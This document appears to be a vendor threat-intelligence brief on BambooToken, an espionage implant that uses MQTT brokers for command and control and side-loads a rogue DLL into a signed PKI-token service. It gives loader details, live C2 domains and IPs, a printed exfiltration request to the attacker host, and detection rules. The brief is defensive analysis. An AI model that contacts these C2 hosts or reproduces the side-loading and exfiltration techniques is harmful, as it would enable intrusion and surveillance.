BambooToken: MQTT-Brokered Espionage Malware Sideloads a Signed PKI Token Service

·

BambooToken is a previously undocumented, cross-platform espionage framework that Lumen's Black Lotus Labs surfaced from VirusTotal in early 2026 and detailed in its "Banana Stand" report. What sets it apart is the command channel: instead of beaconing straight to an attacker server, infected Windows and Linux hosts publish and subscribe through an MQTT broker, so a victim never holds a direct connection to operator infrastructure.

The implant reaches execution by side-loading a rogue DLL (OnKeyToken_KEB.dll) into Tendyron's legitimately Microsoft-signed OnKeySrv.exe PKI-token service. Black Lotus Labs traced activity back to February 2023, tracked a switch from HTTP to MQTT around 2024, observed a Linux variant in December 2025, and saw live infrastructure through July 2026. Roughly a dozen enterprises — plus around 150 small router networks — span mobile-app backends, a Hong Kong GitLab server, finance, legal, biomedical, hospitality and crypto across Asia and South America.

Attribution is unconfirmed, but the tradecraft — DLL side-loading, SoftEther VPN relays, Cloudflare fronting and targeting of overseas-Chinese users — is assessed as China-nexus. This brief breaks down the loader chain, the MQTT protocol, the plugin system and infrastructure, then gives copy-pasteable hunt queries and hardening steps.

◈ Table of Contents

01 Threat Profile & Attribution 02 Campaign Timeline 03 Initial Access & Victim Footprint 04 Technical Deep Dive: Loader Chain 05 The MQTT C2 Protocol 06 Plugin Architecture & Capabilities 07 C2 Infrastructure & Fingerprinting 08 Indicators of Compromise 09 Detection & Hunt Queries 10 MITRE ATT&CK Mapping 11 DFIR & Hardening 12 Sources & References
🎯

01 · Threat Profile & Attribution

Phase 1 / 12

BambooToken is a malware family, not a formally named group. Black Lotus Labs stops short of firm attribution but records several China-nexus indicators. Treat the profile below as an activity cluster, not a confirmed APT designation.

AttributeDetail
Family nameBambooToken (Black Lotus Labs designation)
TypeModular, plugin-based backdoor / espionage framework
PlatformsWindows (v1–v2.1) and Linux (v2.1, Dec 2025)
First seenFebruary 2023 (HTTP C2); MQTT transition circa 2024
Most recent activityLive C2 infrastructure observed through July 2026
Attribution confidenceSuspected China-nexus — LOW/MED
Attribution signalsDLL side-loading tradecraft, SoftEther VPN relays, targeting of overseas-Chinese users, PRC-aligned hosting
TargetingAsia (China, SE Asia) and South America; ~12 enterprises + ~150 SOHO router networks
ResearchersDanny Adamitis & Steve Rudd, Lumen Black Lotus Labs

Do not brand this as a specific named APT in your own reporting. The evidence supports a skilled, China-aligned operator but the vendor explicitly declined firm attribution. Track it as the "BambooToken" cluster.

🕰️

02 · Campaign Timeline

Phase 2 / 12

The family has evolved across at least three functional generations. The move from HTTP to MQTT and the addition of a Linux build are the two inflection points that matter operationally.

Evolution of BambooToken (2023 → 2026)Timeline
  • 1Feb 2023 — v1. First samples use HTTP-based C2 with a hardcoded fallback domain and a PowerShell stager. Configuration decrypted from an OnKeySrv.dat profile.
  • 22024 — v2.0. C2 migrates to the MQTT publish-subscribe model. The chat5188[.]tk domain climbs into Cloudflare Radar's top 1M (peak Dec 17, 2024), signalling a large install base.
  • 3Dec 2025 — v2.1. A Linux variant appears with expanded host enumeration; a mass SNMP scan of SOHO routers on Dec 15, 2025 stands up ~150 relay networks.
  • 4Dec 28, 2025. The successor domain c2iznja[.]com reaches Cloudflare Radar's top 500K — a second wave of widespread infection.
  • 5Jan–Jul 2026. Black Lotus Labs tracks live MQTT brokers on non-standard ports; the newest SoftEther relay is last-seen July 27, 2026.
🚪

03 · Initial Access & Victim Footprint

Phase 3 / 12

Black Lotus Labs states the delivery vector for the enterprise implants remains undetermined. What is documented is the two-tier victim structure: a small set of high-value enterprises, and a larger pool of compromised routers repurposed as relay infrastructure.

🏢

Enterprise Implants (~12)

Mobile-app backend servers, a Hong Kong GitLab instance, a Vietnamese smartwatch software firm, a hotel, an Argentine biomedical company, a Chilean law firm, a Lithuanian crypto platform and a Malaysian finance org.

📡

Router Relays (~150)

MikroTik and DrayTek SOHO routers reached via SNMP (UDP/161) during a Dec 15, 2025 scan window, geolocated to Singapore, Cambodia and Vietnam.

🌏

Diaspora Targeting

Router relays terminate through SpeedCN VPN into mainland China, consistent with surveillance of overseas-Chinese users reaching home services.

🧬

Sector Spread

Finance, legal, biomedical, hospitality, cryptocurrency and software development — a mix that points to intelligence collection rather than commodity crime.

Bar chart of BambooToken enterprise victims by sector
Documented enterprise victims by sector (Black Lotus Labs, ~12 total)

The router tier matters for defenders even if you run no Tendyron software: BambooToken relays hide behind residential and SOHO IP space, so C2 traffic can arrive from an ISP range you would normally trust. Fingerprint on protocol and port, not geography.

🔬

04 · Technical Deep Dive — The Loader Chain

Phase 4 / 12

The heart of BambooToken is a DLL side-loading chain that hijacks a legitimate, Microsoft-signed PKI-token service. Neither Tendyron's signing certificate nor its build environment was compromised — the operators simply exploit the way OnKeySrv.exe resolves and loads its companion DLL.

ASide-Loading Into a Signed BinaryT1574.002

A trusted, signed OnKeySrv.exe (Tendyron Corp) loads the attacker's OnKeyToken_KEB.dll from its own directory. Because the host process carries a valid signature, allow-listing and reputation checks that trust the parent binary let the rogue DLL ride in.

  • 1The legitimate OnKeySrv.exe starts from a trusted path and resolves its companion DLL by name.
  • 2The malicious OnKeyToken_KEB.dll is planted alongside it and loaded via the hijacked search flow, exporting the functions the host expects (OnKeyT_AppendEventInfor, OnKeyT_ContextInit).
  • 3An alternate variant masquerades under a "Zhuhai Kingsoft Office Software" identity whose signature fails validation — a fallback when the OnKey path is unavailable.
  • 4The DLL performs remote-thread injection into the target process to run its payload in a trusted context.

EDR rules that trust a process solely because it is signed by "Tendyron Corp" will miss this. The signature belongs to the host EXE, not the sideloaded DLL. Validate module signatures, not just the parent image.

BConfig Decryption & C2 ExtractionT1140

Configuration lives in an encrypted OnKeySrv.dat profile. The loader XOR-decodes it with a key reused across multiple v2.0/2.1 samples, then extracts C2 endpoints using distinctive text markers.

// Config marker extraction (reconstructed from Black Lotus Labs analysis)
# IP addresses are wrapped between the markers "&#" ... "#&" &#202.144.192.149#& # Domains are wrapped between the markers "$@" ... "@$" $@live-hk.c2iznja.com@$ # If OnKeySrv.dat is absent, fall back to the hardcoded C2: fallback = api08.chat5188.tk
  • 1XOR-decode the embedded GUID/mutex and the .dat contents with the shared key.
  • 2Parse IPs between &#/#& and domains between $@/@$ to build the malleable C2 profile.
  • 3If OnKeySrv.dat is missing, use the hardcoded fallback endpoint and continue.
CAnti-Analysis & Build HygieneT1027

The operators actively obscure build provenance. Samples carry fake Windows Server 2003 / Visual Studio 2005 timestamps, and compile-time varies slightly per sample to break naive signatures.

  • 1Anachronistic toolchain markers (VS 2005) disguise the true build environment.
  • 2Missing /OPT:REF and /Gy linker flags leave dead code and debug symbols behind — useful for capability discovery (see Phase 6).
  • 3Identical RichPE headers across 2024 and 2025 samples confirm a shared codebase and build machine, letting analysts cluster otherwise-varied binaries.

RichPE header correlation is your friend here. Even when timestamps and hashes drift, the Rich header often stays constant across a single developer's toolchain — pivot on it to find related samples in your malware repo.

BambooToken execution chain — reconstructed from the Black Lotus Labs "Banana Stand" report
📶

05 · The MQTT C2 Protocol

Phase 5 / 12

This is the family's signature trait. MQTT is a lightweight publish-subscribe protocol built for IoT telemetry. By routing C2 through a broker, BambooToken breaks the direct victim-to-operator link that most beaconing detections assume — the implant only ever talks to a broker, and the operator subscribes to the same topics from elsewhere.

ABroker, Ports & LibraryT1071

The implant embeds an Eclipse Mosquitto-based MQTT client. Brokers were observed on both standard and deliberately non-standard ports, which is the cleanest network-level tell.

PropertyValue
ProtocolMQTT (publish-subscribe over TCP)
Client libraryEclipse Mosquitto (open source)
Standard ports1883 (plain), 8883 (TLS)
Non-standard ports2883, 63196, 63916, 64332 hunt
Timeout / retry60 s keep-alive; 15 s reconnect interval
BTopic Structure & Beacon FormatT1571

Each host computes a GUID and subscribes to per-device topics; the operator publishes tasking to those topics and to a shared Global broadcast channel. Status is a small JSON beacon.

// MQTT topic map (v2.0 / v2.1)
# Shared broadcast to every implant Global # Per-device topics — {GUID} is the computed host identifier {GUID}/Plugin # load a plugin {GUID}/removePlugin # unload one plugin {GUID}/unPlugin # stop all plugins {GUID}/LUA # scripting channel {GUID}/ # base command channel
// Status beacon payload
{ "op": "online", # or "offline" "gid": "{COMPUTED-HOST-GUID}" } # The "online" heartbeat also collects: hostname, BIOS, product name, # serial, MAC, LAN IP, CPU, memory, PID/TID, version, architecture.

MQTT rarely appears in enterprise egress outside of IoT/OT segments. A general-purpose workstation or server opening a long-lived MQTT session — especially on 2883/63916 — is anomalous on its own, before you even look at content.

🧩

06 · Plugin Architecture & Capabilities

Phase 6 / 12

BambooToken is deliberately minimal at the core; capability arrives as plugins pushed over the {GUID}/Plugin topic. Black Lotus Labs confirmed a handful of live handlers and found extensive dead code hinting at planned surveillance features.

Handler / PluginFunctionStatus
ONLINEHeartbeat beacon with full host parametersActive
SHELLSpawns a command shell in a dedicated threadActive
FILEEXFile download / upload / delete; process terminationActive
AV enumerationWMI query every 5 s; exfil via GET to api80.c2iznja[.]comActive
KEY_RECOURD [sic]KeyloggerDead code
COM_clipboardClipboard captureDead code
Audio / webcam / desktopA/V and screen captureDead code
AV Enumeration BeaconT1518.001

The antivirus-discovery plugin polls installed security products via WMI and reports them out-of-band over HTTP with a distinctive user-agent — a strong, low-noise detection opportunity.

// Observed exfil request pattern
GET http://api80.c2iznja.com/Windows_Defender/Malwarebytes/ User-Agent: HTTP Downloader # AV product names are appended as URL path segments
Why this is useful to defenders
  • Static, unusual user-agent string ("HTTP Downloader")
  • AV product names leaking as URL path segments
  • 5-second polling cadence is machine-regular, not human

The dead-code capabilities (keylog, clipboard, audio, webcam, screen) mean a future push over the plugin topic can turn a "quiet" implant into full surveillance without redeploying the loader. Treat any confirmed BambooToken host as fully compromised.

🛰️

07 · C2 Infrastructure & Fingerprinting

Phase 7 / 12

BambooToken runs two domain generations — the historical chat5188[.]tk and the current c2iznja[.]com — with overlapping IPs that let researchers link them. Cloudflare fronts several subdomains; a SoftEther VPN VPS relays traffic. The table below is the live broker set Black Lotus Labs tracked in 2026.

C2 IPGeo / ASNObserved portsWindow (2026)
202.144.192[.]23Japan / AS639161883, 2883, 63196Jan 20 – Apr 20
202.144.192[.]149Japan / AS639161883, 2883, 8883, 63916Jan 20 – Jul 2
210.1.226[.]2388883, 63196Jan 20 – Jul 2
210.1.226[.]16363916
210.1.231[.]13Malaysia / AS45785443, 1883, 63916, 64332Jan 20 – Jul 2
43.245.198[.]1951883, 63196Mar 3 – Jul 2
43.245.198[.]2381883, 63196Jan 20 – Jul 2
38.180.150[.]19SoftEther VPS (HK)relay → 202.144.192[.]149Mar 18 – Jul 27
Pivoting With Censys / ShodanHunt

Because the brokers speak MQTT on odd ports, internet-scan platforms make good pivots. Look for MQTT service banners on the non-standard ports and cross-reference the known ASNs.

// Censys — MQTT on non-standard ports
services.service_name="MQTT" and services.port: {2883, 63196, 63916, 64332}
// Shodan — MQTT brokers in the observed ASNs
product:"MQTT" port:2883,63916 asn:AS63916,AS45785

Validate any hit before blocking — MQTT on 8883/1883 is legitimate in IoT deployments. It is the combination of odd ports (2883/63916), the specific ASNs, and short-lived broker lifetimes that distinguishes BambooToken infrastructure.

📇

08 · Indicators of Compromise

Phase 8 / 12

All IOCs below are drawn from the Black Lotus Labs report. Defanged for safety — re-fang before loading into tooling.

Domains & subdomains
IndicatorResolves / notes
c2iznja[.]comCurrent C2 domain
api80.c2iznja[.]com202.144.192[.]149 — AV-enum exfil
live-hk.c2iznja[.]com202.144.192[.]149 — hardcoded
newdma.c2iznja[.]com202.144.192[.]13
turbo.c2iznja[.]com210.1.231[.]13
base64.c2iznja[.]com202.144.192[.]149
chat5188[.]tkHistorical C2 domain
api08.chat5188[.]tk210.1.226[.]236 — hardcoded fallback
beacon.chat5188[.]tkEmbedded C2
Host artifacts
TypeValue
Malicious DLLOnKeyToken_KEB.dll
Config fileOnKeySrv.dat
v1 loaderUpdate.log
Sideload hostOnKeySrv.exe (legit Tendyron)
Mutex/GUID (v1){5861573B-FF85-4C7A-BBAD-EFC01540357D}
Mutex/GUID (Linux v2.1){534E19D5-434B-4cad-A0C2-8D75E0B2FBFC}
User-agentHTTP Downloader
Config markers&#…#& (IPs) · $@…@$ (domains)
IP-lookup serviceicanhazip[.]com (abused for host IP)
Sample SHA-256 hashes
SHA-256
dffa94a0f9c4dc38d475a32741f7f134cc934c7b98bec581c135da1b5aa1983f
329f06012bca465dcaf1edbfdc20f1209b8ea00f269a8b890f165fb8c82c32d6
c4d4f8ccc9d2c4d289d8672396fdf0818b81551376057d43e76de66e29d73604
ce4ce009fcebacf0b7e253409f1b192081b77f4d56bb3af0fa71d125aa060c51
5d06c1b06b48e9f61fec86179f194e0f611d6cf7495e0370a58844f0dddb437d
🔗
Full IOC set & screenshots — Lumen Black Lotus Labs
"The Banana Stand" — complete indicator tables and analysis
OPEN ▸
🔎

09 · Detection & Hunt Queries

Phase 9 / 12

Every query below is paired KQL (Microsoft Sentinel / Defender) and SPL (Splunk), each preceded by what it finds. Tune time ranges and table names to your environment.

▸ Finds: OnKeySrv.exe loading the rogue sideload DLL
// KQL — Defender: signed OnKey service loading OnKeyToken_KEB.dll DeviceImageLoadEvents | where InitiatingProcessFileName =~ "OnKeySrv.exe" | where FileName =~ "OnKeyToken_KEB.dll" | project Timestamp, DeviceName, FolderPath, InitiatingProcessFolderPath, SHA256
-- SPL — Sysmon EventCode 7 (image load) index=sysmon EventCode=7 Image="*OnKeySrv.exe" ImageLoaded="*OnKeyToken_KEB.dll" | stats count values(ImageLoaded) values(Hashes) by host, Image
▸ Finds: MQTT sessions on non-standard broker ports
// KQL — Sentinel: outbound to BambooToken MQTT ports DeviceNetworkEvents | where RemotePort in (2883, 63196, 63916, 64332) | where ActionType == "ConnectionSuccess" | summarize conns=count(), ports=make_set(RemotePort) by DeviceName, RemoteIP, InitiatingProcessFileName | where conns > 3
-- SPL — firewall / network: odd-port MQTT egress index=network dest_port IN (2883,63196,63916,64332) action=allowed | stats count dc(dest_ip) as brokers by src_ip, process | where count > 3
▸ Finds: the AV-enumeration exfil beacon (static user-agent)
// KQL — Defender: "HTTP Downloader" user-agent to c2iznja DeviceNetworkEvents | where RemoteUrl has "c2iznja.com" or RemoteUrl has "chat5188.tk" | where AdditionalFields has "HTTP Downloader" | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName
-- SPL — proxy logs: static UA + known C2 domains index=proxy (http_user_agent="HTTP Downloader" OR dest_host="*c2iznja.com" OR dest_host="*chat5188.tk") | table _time, src_ip, dest_host, uri_path, http_user_agent
▸ Finds: config / loader artifacts on disk
// KQL — Defender: BambooToken file artifacts written DeviceFileEvents | where FileName in~ ("OnKeySrv.dat", "OnKeyToken_KEB.dll", "Update.log") | project Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessFileName
-- SPL — Sysmon EventCode 11 (file create) index=sysmon EventCode=11 (TargetFilename="*OnKeySrv.dat" OR TargetFilename="*OnKeyToken_KEB.dll" OR TargetFilename="*\\Update.log") | stats count by host, TargetFilename, Image
▸ YARA — sideload DLL & config markers
rule BambooToken_Sideload_Config { meta: author = "CyberHawk Threat Intel" ref = "Lumen Black Lotus Labs — Banana Stand" strings: $exp1 = "OnKeyT_AppendEventInfor" ascii $exp2 = "OnKeyT_ContextInit" ascii $ua = "HTTP Downloader" ascii $m1 = "&#" ascii // IP config marker $m2 = "$@" ascii // domain config marker $dll = "OnKeyToken_KEB.dll" ascii wide condition: uint16(0) == 0x5A4D and 2 of ($exp*, $dll) and ($ua or ($m1 and $m2)) }
▸ Sigma — MQTT beacon on non-standard port
title: BambooToken MQTT C2 on Non-Standard Port logsource: { category: network_connection, product: windows } detection: selection: DestinationPort: [2883, 63196, 63916, 64332] condition: selection level: high
🗺️

10 · MITRE ATT&CK Mapping

Phase 10 / 12

Techniques observed or strongly implied by the Black Lotus Labs analysis. Dead-code capabilities are noted as such rather than mapped as confirmed behaviour.

TacticTechniqueID
ExecutionPowerShell (v1 stager)T1059.001
Defense EvasionDLL Side-LoadingT1574.002
Defense EvasionProcess Injection (remote thread)T1055
Defense EvasionMasquerading (Kingsoft identity)T1036.005
Defense EvasionObfuscated Files (fake timestamps)T1027
Defense EvasionDeobfuscate/Decode (XOR config)T1140
DiscoverySystem Information Discovery (WMI)T1082
DiscoverySecurity Software DiscoveryT1518.001
Command & ControlApplication Layer Protocol (MQTT)T1071
Command & ControlNon-Standard PortT1571
Command & ControlMulti-Stage ChannelsT1104
Command & ControlFallback ChannelsT1008
Command & ControlIngress Tool Transfer (plugins)T1105
Command & ControlProxy (Cloudflare / SoftEther)T1090
ExfiltrationExfiltration Over C2 ChannelT1041
Collection (dead code)Input / Clipboard / Screen / Audio CaptureT1056 / T1115 / T1113 / T1123
🛡️

11 · DFIR & Hardening

Phase 11 / 12

A responder's order of operations if a host lights up on the queries above, followed by proactive hardening.

1Investigate & ContainRespond
  • 1On any host loading OnKeyToken_KEB.dll, capture the DLL, OnKeySrv.dat and process memory before isolating — the config decrypts to live C2.
  • 2Block the domains and IPs from Phase 7–8 at the egress proxy and firewall, then hunt retrospectively for the odd-port MQTT sessions network-wide.
  • 3Because plugins are pushed at runtime, assume keylog/clipboard/screen capture may have been enabled. Rotate credentials entered on the host during the exposure window.
  • 4For the router tier: audit MikroTik/DrayTek devices for unexpected SNMP exposure (UDP/161) and unauthorized config or VPN termination.
2Harden Against Side-Loading & MQTT AbusePrevent
  • 1Enforce WDAC/AppLocker rules that validate module signatures, not just the parent EXE, so a signed host cannot load an unsigned companion DLL.
  • 2Deny MQTT egress from user and server segments by default; permit it only from designated IoT/OT VLANs to known brokers.
  • 3Alert on any outbound TCP to 2883/63196/63916/64332 and on long-lived sessions with 60 s keep-alive patterns.
  • 4Inventory whether Tendyron OnKey token software is present anywhere in the estate; if unused, remove it to eliminate the sideload host entirely.
  • 5Close SNMP (UDP/161) on internet-facing routers and replace default community strings.
Eradication complete when
  • No host loads OnKeyToken_KEB.dll and no OnKeySrv.dat / Update.log remain
  • Egress to all Phase 7–8 indicators is blocked and shows zero hits
  • Odd-port MQTT hunt returns zero results across the estate
  • Credentials used on affected hosts have been rotated
📚

12 · Sources & References

Phase 12 / 12
Lumen Black Lotus Labs — "The Banana Stand: Brokering and Managing Infections Across Asia Using MQTT" (primary report) The Hacker News — "BambooToken Malware Uses MQTT to Control Windows and Linux Systems" BleepingComputer — "BambooToken malware controls Windows and Linux systems via MQTT" MITRE ATT&CK — T1574.002 DLL Side-Loading MITRE ATT&CK — T1071 Application Layer Protocol

◈ Check your estate for BambooToken exposure

Run the domains, IPs and hashes from this brief through the CyberHawk IOC Scanner, and browse more active-threat breakdowns on the Threat Intel feed. For paired KQL/SPL detection content, see the CyberHawk blog.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."